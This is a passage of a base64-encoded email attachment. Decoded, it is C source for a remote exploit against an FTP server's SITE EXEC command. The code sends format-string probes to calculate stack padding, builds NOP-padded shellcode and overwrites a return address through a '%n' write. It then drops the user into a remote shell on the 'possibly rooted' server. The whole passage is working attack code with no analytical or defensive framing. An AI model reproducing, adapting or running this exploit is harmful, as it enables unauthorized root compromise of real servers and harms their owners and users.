CiAgfQogZnRwX3NpdGVleGVjKCBzb2NrLCBxLCBzdHJsZW4ocSksIDEsIGFucywgMjA0OCk7CiBp
ZiggYmVmb3JlX2xlbj09IHN0cmxlbigmYW5zWzNdKSApIHsKICBiZWZvcmVfbGVuKz0xOwogICh2
b2lkKXN0cmNhdChzdHIsICIlZCIpOwogIHJldHVybiAzOwogfQogYmVmb3JlX2xlbj1zdHJsZW4o
JmFuc1szXSk7CiAodm9pZClzdHJjYXQoc3RyLCIlYyIpOwogcmV0dXJuIDI7Cn0KCmludCBtYWdp
Y19jaGVja19vayggaW50IHNvY2ssIGNoYXIgKnN0cikKewogY2hhciBxWzIwNDhdLCBhbnNbMjA0
OF07CiBpbnQgaSAsbj0xLCBmLCBwYWRkaW5nPTA7CgkKIHNucHJpbnRmKHEsIDIwNDgsInNpdGUg
ZXhlYyBhYWFhYWFhYSVzJXNcclxuIiwgc3RyLCAiJXAlcCIpOwogaWYgKCBzdHJzdHIocSwgIlxy
XG4iICkgPT0gTlVMTCkgewogIGZwcmludGYoc3RkZXJyLCAiTGluZSB0b28gbG9uZ1xuIik7CiAg
ZXhpdCgtMSk7CiB9CiAodm9pZCliemVybyhhbnMsIDIwNDgpOwogZnRwX3NpdGVleGVjKHNvY2ss
IHEsIHN0cmxlbihxKSwgMSwgYW5zLCAyMDQ3KTsKIGlmKHN0cnN0cihhbnMsIjB4NjE2MTYxNjEi
KT09TlVMTCkKICAgcmV0dXJuIDA7CiBmb3IoaSA9MDsgaSA8IE1BWF9NQUdJQyAmJiBtYWdpY1tp
XTsgaSsrKTsKIG1hZ2ljX2RbaV09NDsKIHdoaWxlKG4pewogIGZvcihmPTA7IGY8IDI7IGYrKykg
ewogICBzbnByaW50ZihxLCAyMDQ4LCJzaXRlIGV4ZWMgJS4qc2FhYWElcyVzXHJcbiIsIHBhZGRp
bmcsICJ4eHh4Iiwgc3RyLCBmPyIlcCVwIjoiJXAiKTsKICAgKHZvaWQpYnplcm8oYW5zLCAyMDQ4
KTsKICAgZnRwX3NpdGVleGVjKHNvY2ssIHEsIHN0cmxlbihxKSwgMSwgYW5zLCAyMDQ3KTsKICAg
aWYoIHN0cnN0cihhbnMsICIweDYxNjE2MTYxIikhPU5VTEwpIHsKICAgIGlmIChmPT0wKSB7CiAg
ICAgbWFnaWNbaV09cGFkZGluZzsKICAgICByZXR1cm4gMTsKICAgIH0gZWxzZSBpZiggZj09MSkg
ewogICAgIHN0cmNhdChzdHIsIiVwIik7CiAgICAgbWFnaWNbaV09cGFkZGluZzsKICAgICByZXR1
cm4gMTsKICAgIH0KICAgfQogIH0KICBpZihwYWRkaW5nID4gNCkgewogICBmcHJpbnRmKHN0ZGVy
ciwiQ2Fubm90IGNhbGN1bGF0ZSBwYWRkaW5nLi5cbiIpOwogICBleGl0KDEpOwogIH0KICBwYWRk
aW5nKys7CQkKIH0KIHJldHVybiAxOwp9CgoKaW50IG1hZ2ljX2RpZ2dlcihpbnQgc29jaykKewog
aW50IGdldF9vdXQ9MSx3aGVyZT0wLGFsbF9mYWlsZWQ9TUFYX0ZBSUxFRCoyLGY9MCxvPTA7CgkK
IGlmKG1hZ2ljX3N0cj09TlVMTCl7CiAgaWYoKG1hZ2ljX3N0cj0oY2hhciopbWFsbG9jKDQwOTIp
KT09TlVMTCl7CiAgIHBlcnJvcigibWFsbG9jIik7CiAgIGV4aXQoZXJybm8pOwogIH0KIH0KICh2
b2lkKWJ6ZXJvKG1hZ2ljX3N0ciwgNDA5Mik7CiB3aGVyZT0wOwogd2hpbGUoZ2V0X291dCkgewog
IGludCBxOwogIGlmKCB3aGVyZSA+PSBNQVhfTUFHSUMtMSB8fCBhbGxfZmFpbGVkIDw9IDAgKQog
ICAgcmV0dXJuIC0xOwogIGlmKCBtYWdpY19jaGVja19mKHNvY2ssIG1hZ2ljX3N0cikgKSB7CiAg
IG89MCxmKys7CiAgICBpZihmPT0xKXsKICAgICBpZighbWFnaWNbd2hlcmVdKQogICAgICBtYWdp
Y1t3aGVyZV09MTsKICAgICBlbHNlCiAgICAgIG1hZ2ljWysrd2hlcmVdKz0xOwogICAgbWFnaWNf
ZFt3aGVyZV09MTsKICAgIH0gZWxzZQogICAgIG1hZ2ljW3doZXJlXSs9MTsKICAgYWxsX2ZhaWxl
ZD1NQVhfRkFJTEVEKjI7CiAgIHByaW50ZigiJXMiLCAiJS5mIik7IGZmbHVzaChzdGRvdXQpOwog
ICBnb3RvIHZlcmlmeTsKICB9CiAgYWxsX2ZhaWxlZC0tOwogIGlmKChxPW1hZ2ljX2NoZWNrX28o
c29jayxtYWdpY19zdHIpKSl7CiAgIGY9MCxvKys7CiAgICBpZihvPT0xKXsKICAgICBpZighbWFn
aWNbd2hlcmVdKQogICAgICBtYWdpY1swXT0xOwogICAgIGVsc2UKICAgICAgbWFnaWNbKyt3aGVy
ZV0rPTE7CiAgICBtYWdpY19kW3doZXJlXT1xOwogICB9IGVsc2UgewogICAgaWYobWFnaWNfZFt3
aGVyZV09PXEpCiAgICAgbWFnaWNbd2hlcmVdKz0xOwogICAgZWxzZSB7CiAgICAgbWFnaWNbKyt3
aGVyZV09MTsKICAgICBtYWdpY19kW3doZXJlXT1xOwogICAgfQogICB9CiAgIGFsbF9mYWlsZWQ9
TUFYX0ZBSUxFRCoyOwogICBwcmludGYoIiVzIiwgcT09Mj8iJWMiOiIlZCIpOwogICBmZmx1c2go
c3Rkb3V0KTsKICAgZ290byB2ZXJpZnk7CiAgfQogIGFsbF9mYWlsZWQtLTsKICBjb250aW51ZTsK
ICB2ZXJpZnk6CiAgaWYobWFnaWNfY2hlY2tfb2soc29jayxtYWdpY19zdHIpKXsKICAgcHV0Y2hh
cignXG4nKTsKICAgcmV0dXJuIDA7CiAgfQogfQogcmV0dXJuIDA7Cn0KCmludCBtYWluKGludCBh
cmdjLCBjaGFyICphcmd2W10pewoJY2hhciAqYnVmZiwgKmJ1ZmZfcCwgKmJ1ZmZfcDIsIGMsIHNo
ZWxsY29kZVs1MDBdLCpkaXIsKnBhc3N3ZD1zaGVsbGNvZGU7CglpbnQgaSwgc29jaywgbnVtPS0y
LCBwYWRkaW5nPS0xLCBnbT0wLCB0ZXN0bW9kZT0wLG10eXBlPTAsYmxhPTAsb2Zmc2V0PTA7Cgl1
X2xvbmcgcmV0X2FkZHI9MCwgcGFzc19hZGRyPTA7Cglmb3IoaT0wO3RhcmdbaV0ub3NfZGVzY3Ih
PU5VTEw7aSsrKTsKCXdoaWxlKChjPWdldG9wdChhcmdjLGFyZ3YsInQ6bDptOm86czpyOnA6TTpQ
OnhnaEg/IikpIT1FT0YpewoJc3dpdGNoKGMpIHsKCSBjYXNlICd0JzogdGFyZ2V0PW9wdGFyZzti
cmVhazsKCSBjYXNlICdsJzoKCSAgIHVzZXJuYW1lPW9wdGFyZzsKCSAgIHBhc3N3ZD1zdHJjaHIo
b3B0YXJnLCcvJyk7CgkgICBpZihwYXNzd2Q9PU5VTEwpCgkgICAgdXNhZ2UoYXJndlswXSwwKTsK
CSAgICpwYXNzd2QrKz0oY2hhcikwOwoJICAgYnJlYWs7CgkgY2FzZSAneCc6IHRlc3Rtb2RlPTE7
IGJyZWFrOwoJIGNhc2UgJ28nOiBvZmZzZXQ9YXRvaShvcHRhcmcpO2JyZWFrOwoJIGNhc2UgJ3An
OiBwYXNzX2FkZHI9c3RydG91bChvcHRhcmcsICZvcHRhcmcsMTYpOyBicmVhazsKCSBjYXNlICdn
JzogZ209MTsgYnJlYWs7CgkgY2FzZSAnTSc6IGRpcj1vcHRhcmc7bXR5cGU9MTticmVhazsKCSBj
YXNlICdtJzoKCSAgIHsKCSAgICBpbnQgd2hlcmU9MDsKCSAgICBpZighKm9wdGFyZykgewoJICAg
ICAgZnByaW50ZihzdGRlcnIsIi1tIHJlcXVpcmVzIGFyZ3VtZW50LCB0cnkgLWggZm9yIGhlbHBc
biIpOwoJICAgICAgZXhpdCgxKTsKCSAgICB9CgkgICAgd2hpbGUoMSkgewoJICAgICAgbWFnaWNb
d2hlcmVdPXN0cnRvdWwob3B0YXJnLCZvcHRhcmcsMTYpOwoJICAgICAgb3B0YXJnPXN0cmNocihv
cHRhcmcsJywnKTsKCSAgICAgIGlmKG9wdGFyZz09TlVMTCl7CgkgICAgICAgIHByaW50ZigiY29t
bWEgbWlzc2luZ1xuIik7CgkJZXhpdCgxKTsKCSAgICAgIH0KCSAgICAgIG9wdGFyZysrOwoJICAg
ICAgbWFnaWNfZFt3aGVyZSsrXT1zdHJ0b3VsKG9wdGFyZywmb3B0YXJnLDE2KTsKCSAgICAgIGlm
KHN0cmNocihvcHRhcmcsJzonKT09TlVMTCl7CgkgICAgICAgbWFnaWNbd2hlcmVdPW1hZ2ljX2Rb
d2hlcmVdPTA7CgkgICAgICAgYnJlYWs7CgkgICAgICB9CgkgICAgICBvcHRhcmc9c3RyY2hyKG9w
dGFyZywnOicpOwoJICAgICAgb3B0YXJnKys7CgkgICAgfQoJICAgfQoJICAgYnJlYWs7CgkgIGNh
c2UgJ3MnOgoJICAgIG51bT1hdG9pKG9wdGFyZyk7CgkgICAgaWYobnVtPmkpIHsKCSAgICAgZnBy
aW50ZihzdGRlcnIsInN5c3R5cGUgdG9vIGJpZywgdHJ5IC1oIGZvciBoZWxwXG4iKTsKCSAgICAg
ZXhpdCgxKTsKCSAgICB9IAoJICAgIGJyZWFrOwoJICBjYXNlICdyJzoKCSAgICByZXRfYWRkcj1z
dHJ0b3VsKG9wdGFyZywmb3B0YXJnLDE2KTsKCSAgICBicmVhazsKCSAgY2FzZSAnUCc6CgkgICAg
cGFkZGluZz1hdG9pKG9wdGFyZyk7CgkgICAgYnJlYWs7CgkgIGNhc2UgJ0gnOgoJICAgICBibGE9
MjsKCSAgZGVmYXVsdDogdXNhZ2UoYXJndlswXSxibGEpO2JyZWFrOwoJIH0KICAgICAgICB9Cglp
Zih0YXJnZXQ9PU5VTEwpewoJICBmcHJpbnRmKHN0ZGVyciwiTm8gdGFyZ2V0IHNwZWNpZmllZCwg
dHJ5IC1oIGZvciBoZWxwXG4iKTsKCSAgZXhpdCgxKTsKCX0KCWlmKG51bT09LTF8fG51bT09LTIp
IHsKCSAgZm9yKGk9MDshdGFyZ1tpXS5kZWY7aSsrKTsKCSAgbnVtPWk7Cgl9Cgkodm9pZCltZW1j
cHkoKHZvaWQqKSZnZXRpdCwodm9pZCopJnRhcmdbbnVtXSxzaXplb2Yoc3RydWN0IHRhcmdldHMp
KTsKCglpZihtYWdpY1sxXSE9MCkgewoJIG1lbWNweSgodm9pZCopZ2V0aXQubWFnaWMsbWFnaWMs
c2l6ZW9mKG1hZ2ljKSk7CgkgbWVtY3B5KCh2b2lkKilnZXRpdC5tYWdpY19kLG1hZ2ljX2Qsc2l6
ZW9mKG1hZ2ljKSk7Cgl9CgoJaWYocmV0X2FkZHIpZ2V0aXQuYWRkcl9yZXRfYWRkcj1yZXRfYWRk
cjsKCWlmKHBhc3NfYWRkcilnZXRpdC5wYXNzX2FkZHI9cGFzc19hZGRyOwoKCWdldGl0LmFkZHJf
cmV0X2FkZHIrPShvZmZzZXQqNCk7CgogCXNvY2s9Y29ubmVjdF90b19zZXJ2ZXIodGFyZ2V0KTsK
CW1lbXNldChzaGVsbGNvZGUsICdceDkwJywgc2l6ZW9mKHNoZWxsY29kZSkpOwoJc2hlbGxjb2Rl
W3NpemVvZihzaGVsbGNvZGUpLTFdPShjaGFyKTA7CglpZighbXR5cGUpewoJIG1lbWNweSgodm9p
ZCopJnNoZWxsY29kZVtzaXplb2Yoc2hlbGxjb2RlKS1zdHJsZW4oZ2V0aXQuc2hlbGxjb2RlKS0x
XSwodm9pZCopZ2V0aXQuc2hlbGxjb2RlLCBzdHJsZW4oZ2V0aXQuc2hlbGxjb2RlKSsxKTsKCSBz
aGVsbGNvZGVbc2l6ZW9mKHNoZWxsY29kZSktMV09KGNoYXIpMDsKCX1lbHNlewoJIG1lbWNweSgo
dm9pZCopJnNoZWxsY29kZVsyNTAtc3RybGVuKGdldGl0LnNoZWxsY29kZSktMV0sKHZvaWQqKWdl
dGl0LnNoZWxsY29kZSxzdHJsZW4oZ2V0aXQuc2hlbGxjb2RlKSk7Cgkgc2hlbGxjb2RlWzI1MC0x
XT0oY2hhcikwOwoJfQoJcHJpbnRmKCJUYXJnZXQ6ICVzICglcy8lcyk6ICVzXG4iLHRhcmdldCx1
c2VybmFtZSwqcGFzc3dkPT0nXHg5MCc/IjxzaGVsbGNvZGU+IjpwYXNzd2QsZ2V0aXQub3NfZGVz
Y3IpOwoJcHJpbnRmKCJSZXR1cm4gQWRkcmVzczogMHglMDhseCwgQWRkclJldEFkZHI6IDB4JTA4
bHgsIFNoZWxsY29kZTogJWRcblxuIixnZXRpdC5wYXNzX2FkZHIsZ2V0aXQuYWRkcl9yZXRfYWRk
cixzdHJsZW4oZ2V0aXQuc2hlbGxjb2RlKSk7CgoJYnVmZj0oY2hhciAqKW1hbGxvYygxMDI0KTsK
CWJ6ZXJvKGJ1ZmYsMTAyNCk7CgoJKHZvaWQpZnRwX3JlY3Yoc29jayxOVUxMLDAsMSk7CgoJKHZv
aWQpZnRwX2xvZ2luKHNvY2ssdXNlcm5hbWUscGFzc3dkKTsKCglpZihnbXx8KG1hZ2ljX3N0cj09
TlVMTCYmZ2V0aXQubWFnaWNbMF09PTApKXsKCSBwcmludGYoIlNURVAgMkE6IEdlbmVyYXRpbmcg
bWFnaWMgc3RyaW5nOiAiKTsKCSBmZmx1c2goc3Rkb3V0KTsKCSBtYWdpY19kaWdnZXIoc29jayk7
CgkgbWVtY3B5KCh2b2lkICopZ2V0aXQubWFnaWMsKHZvaWQqKW1hZ2ljLHNpemVvZihtYWdpYykp
OwoJIG1lbWNweSgodm9pZCopZ2V0aXQubWFnaWNfZCwodm9pZCopbWFnaWNfZCxzaXplb2YobWFn
aWNfZCkpOwoJIHByaW50ZigiU1RFUCAyQjogTUFHSUMgU1RSSU5HOiBbIik7Cgl9IGVsc2UgewoJ
ICBwcmludGYoIlNURVAgMiA6IFNraXBwaW5nLCBtYWdpYyBudW1iZXIgYWxyZWFkeSBleGlzdHM6
IFsiKTsKCX0KCWZvcihpPTA7aTxNQVhfTUFHSUMmJmdldGl0Lm1hZ2ljW2ldIT0wO2krKyl7Cgkg
cHJpbnRmKCIlMDJYLCUwMlgiLGdldGl0Lm1hZ2ljW2ldLGdldGl0Lm1hZ2ljX2RbaV0pOwoJIGlm
KGdldGl0Lm1hZ2ljW2krMV0hPTApCgkgICAgIHB1dGNoYXIoJzonKTsKCX0KCXByaW50ZigiXVxu
Iik7CglidWZmPShjaGFyICopcmVhbGxvYyhidWZmLCA0MDkyKTsKCSh2b2lkKWJ6ZXJvKGJ1ZmYs
IDQwOTIpOwogICAgICAgIGlmKG10eXBlKQogICAgICAgICBmdHBfbWtjaGRpcihzb2NrLGRpcixz
aGVsbGNvZGUpOwoJcHJpbnRmKCJTVEVQIDMgOiBDaGVja2luZyBpZiB3ZSBjYW4gcmVhY2ggb3Vy
IHJldHVybiBhZGRyZXNzIGJ5IGZvcm1hdCBzdHJpbmdcbiIpOwoJaWYoIW1hZ2ljX3N0cil7Cgkg
IG1hZ2ljX3N0cj0oY2hhciopbWFsbG9jKDIwNDgpOwoJICBpZihtYWdpY19zdHI9PU5VTEwpIHsK
CSAgICBwZXJyb3IoIm1hbGxvYyIpOwoJICAgIGV4aXQoZXJybm8pOwoJICB9CgkgICh2b2lkKWJ6
ZXJvKG1hZ2ljX3N0ciwyMDQ4KTsKCSAgZm9yKGk9MDtpPE1BWF9NQUdJQyYmZ2V0aXQubWFnaWNb
aV0hPTA7aSsrKXsKCSAgIHN3aXRjaChnZXRpdC5tYWdpY19kW2ldKSB7CgkgICAgY2FzZSAxOgoJ
ICAgICAgIGZvcihudW09MDtudW08Z2V0aXQubWFnaWNbaV07bnVtKyspc3RyY2F0KG1hZ2ljX3N0
ciwiJS5mIik7CgkgICAgICAgYnJlYWs7CgkgICAgY2FzZSAyOgoJICAgICAgIGZvcihudW09MDtu
dW08Z2V0aXQubWFnaWNbaV07bnVtKyspc3RyY2F0KG1hZ2ljX3N0ciwiJWMiKTsKCSAgICAgICBi
cmVhazsKCSAgICBjYXNlIDM6CgkgICAgICAgZm9yKG51bT0wO251bTxnZXRpdC5tYWdpY1tpXTtu
dW0rKylzdHJjYXQobWFnaWNfc3RyLCIlZCIpOwoJICAgICAgIGJyZWFrOwoJICAgIGNhc2UgNDpp
ZihwYWRkaW5nPDApcGFkZGluZz1nZXRpdC5tYWdpY1tpXTticmVhazsKCSAgICBkZWZhdWx0OmZw
cmludGYoc3RkZXJyLCJTVEVQIDM6IElOdGVybmFsIGVycm9yXG4iKTsKCSAgICAgICBleGl0KDEp
OwoJICAgICAgIGJyZWFrOwogCSAgfQoJIH0KCX0KCWlmKHBhZGRpbmc8MCl7CgkgIGZvcihudW09
MDtudW08TUFYX01BR0lDJiZnZXRpdC5tYWdpY19kW251bV0hPTQ7bnVtKyspOwoJICBpZihudW08
KE1BWF9NQUdJQy0xKSkKCSAgICBwYWRkaW5nPWdldGl0Lm1hZ2ljW251bV07CgkgIGVsc2UKCSAg
ICBmcHJpbnRmKHN0ZGVyciwiV0FSTklORzogUFJPQkxFTVMgV0lUSCBQQURESU5HXG4iKTsKCX0K
CQoJaWYoIWdldGl0LmlzbGludXgpewogCSBpZighdGVzdG1vZGUpCgkgICBzbnByaW50ZihidWZm
LDQwOTYsInNpdGUgZXhlYyAlLipzJWMlYyVjJWMlc3wlc1xyXG4iLHBhZGRpbmcsInh4eHh4eHh4
eHh4eHh4eHh4eHgiLE1BS0VfU1RSX0ZST01fUkVUKGdldGl0LmFkZHJfcmV0X2FkZHIpLG1hZ2lj
X3N0ciwiJXAiKTsKCSBlbHNlCgkgICBzbnByaW50ZihidWZmLDQwOTYsInNpdGUgZXhlYyAlLipz
JWMlYyVjJWMlc3wlc1xyXG4iLHBhZGRpbmcsInh4eHh4eHh4eHh4eHh4eHh4eHgiLE1BS0VfU1RS
X0ZST01fUkVUKGdldGl0LnBhc3NfYWRkciksbWFnaWNfc3RyLCIlcCIpOwoJfSBlbHNlIHsKIAkg
aWYoIXRlc3Rtb2RlKQoJICAgc25wcmludGYoYnVmZiw0MDk2LCJzaXRlIGV4ZWMgJS4qcyVjJWNc
eGZmJWMlYyVzfCVzXHJcbiIscGFkZGluZywieHh4eHh4eHh4eHh4eHh4eHh4eCIsTUFLRV9TVFJf
RlJPTV9SRVQoZ2V0aXQuYWRkcl9yZXRfYWRkciksbWFnaWNfc3RyLCIlcCIpOwoJIGVsc2UKCSAg
IHNucHJpbnRmKGJ1ZmYsNDA5Niwic2l0ZSBleGVjICUuKnMlYyVjXHhmZiVjJWMlc3wlc1xyXG4i
LHBhZGRpbmcsInh4eHh4eHh4eHh4eHh4eHh4eHgiLE1BS0VfU1RSX0ZST01fUkVUKGdldGl0LnBh
c3NfYWRkciksbWFnaWNfc3RyLCIlcCIpOwoJfQoJc2xlZXAoZ2V0aXQuZGVsYXkpOwoJZmZsdXNo
KHN0ZG91dCk7CglpZigoYnVmZl9wPShjaGFyICopbWFsbG9jKDQwOTYpKT09TlVMTCl7CgkgIGZw
cmludGYoc3RkZXJyLCJtYWxsb2MgZmFpbGVkLlxuIik7CgkgIGV4aXQoMSk7Cgl9Cgkodm9pZCli
emVybyhidWZmX3AsNDA5Nik7CglmdHBfc2l0ZWV4ZWMoc29jayxidWZmLHN0cmxlbihidWZmKSwx
LGJ1ZmZfcCw0MDk1KTsKCWlmKChidWZmX3AyPXN0cmNocihidWZmX3AsJ1xyJykpIT1OVUxMKQoJ
ICpidWZmX3AyPShjaGFyKTA7CglpZigoYnVmZl9wMj1zdHJjaHIoYnVmZl9wLCdcbicpKSE9TlVM
TCkKCSAqYnVmZl9wMj0oY2hhcikwOwoJYnVmZl9wMj1zdHJzdHIoYnVmZl9wLCJ8MHgiKTsKCWlm
KGJ1ZmZfcDI9PU5VTEwpewoJICBmcHJpbnRmKHN0ZGVyciwiRml4IG1lLCBpbmNvcnJlY3QgcmVz
cG9uc2UgZnJvbSAnJSVwJzolc1xuIixidWZmX3ApOwoJICBleGl0KDEpOwoJfQoJYnVmZl9wMis9
MzsKCWlmKCF0ZXN0bW9kZSkKCSAgcHJpbnRmKCJTVEVQIDQgOiBQdHIgYWRkcmVzcyB0ZXN0OiAw
eCVzIChpZiBpdCBpcyBub3QgMHglMDhseCBeQyBtZSBub3cpXG4iLGJ1ZmZfcDIsZ2V0aXQuYWRk
cl9yZXRfYWRkcik7CgllbHNlCgkgIHByaW50ZigiU1RFUCA0IDogUHRyIGFkZHJlc3MgdGVzdDog
MHglcyAoaWYgaXQgaXMgbm90IDB4JTA4bHggXkMgbWUgbm93KVxuIixidWZmX3AyLGdldGl0LnBh
c3NfYWRkcik7CglzbGVlcChnZXRpdC5kZWxheSk7CglidWZmX3AyPXN0cnN0cihidWZmLCAiJS5m
Iik7CgkqYnVmZl9wMisrPShjaGFyICkwOwoJc3RyY3B5KGJ1ZmZfcCwgYnVmZik7CglpZighdGVz
dG1vZGUpCgkgIHNwcmludGYoYnVmZl9wK3N0cmxlbihidWZmX3ApLCIlcyV1JWMiLCIlZCUuIiwo
dV9pbnQpZ2V0aXQucGFzc19hZGRyLCdkJyk7CgllbHNlCgkgIHNwcmludGYoYnVmZl9wK3N0cmxl
bihidWZmX3ApLCIlcyIsIiVkJWQiKTsKCXN0cmNweShidWZmX3Arc3RybGVuKGJ1ZmZfcCksIGJ1
ZmZfcDIpOwoJYnVmZl9wMj1zdHJjaHIoYnVmZl9wLCd8Jyk7CglidWZmX3AyKys7CglwcmludGYo
IlNURVAgNSA6IFNlbmRpbmcgY29kZS4uIHRoaXMgd2lsbCB0YWtlIGFib3V0IDEwIHNlY29uZHMu
XG4iKTsKCWlmKCF0ZXN0bW9kZSl7CgkgIHN0cmNweShidWZmX3AyLCIlblxyXG4iKTsKCSAgZnRw
X3NlbmQoc29jayxidWZmX3Asc3RybGVuKGJ1ZmZfcCksMCxOVUxMLDApOwoJfSBlbHNlIHsKCSAg
KHZvaWQpYnplcm8oYnVmZiw0MDk2KTsKCSAgc3RyY3B5KGJ1ZmZfcDIsIiVzXHJcbiIpOwoJICBm
dHBfc2VuZChzb2NrLGJ1ZmZfcCxzdHJsZW4oYnVmZl9wKSwxLGJ1ZmYsNDA5Mik7CgkgIHByaW50
ZigiZ290IGFuc3dlcjogJXNcbiIsYnVmZik7CgkgIGV4aXQoMCk7Cgl9CglmcmVlKGJ1ZmZfcCk7
CglmcmVlKGJ1ZmYpOwoJc2lnbmFsKFNJR0lOVCwgU0lHX0lHTik7CglzaWduYWwoU0lHSFVQLCBT
SUdfSUdOKTsKCXByaW50ZihSRUQiUHJlc3MgXlxcIHRvIGxlYXZlIHNoZWxsIk5PUk0iXG4iKTsK
CXByb2Nlc3NfcG9zc2libHlfcm9vdGVkKHNvY2spOwoJcmV0dXJuIDA7Cn0K
--Boundary-=_TnsNFWZqfjMAfAdrrWsofsBcnuVq--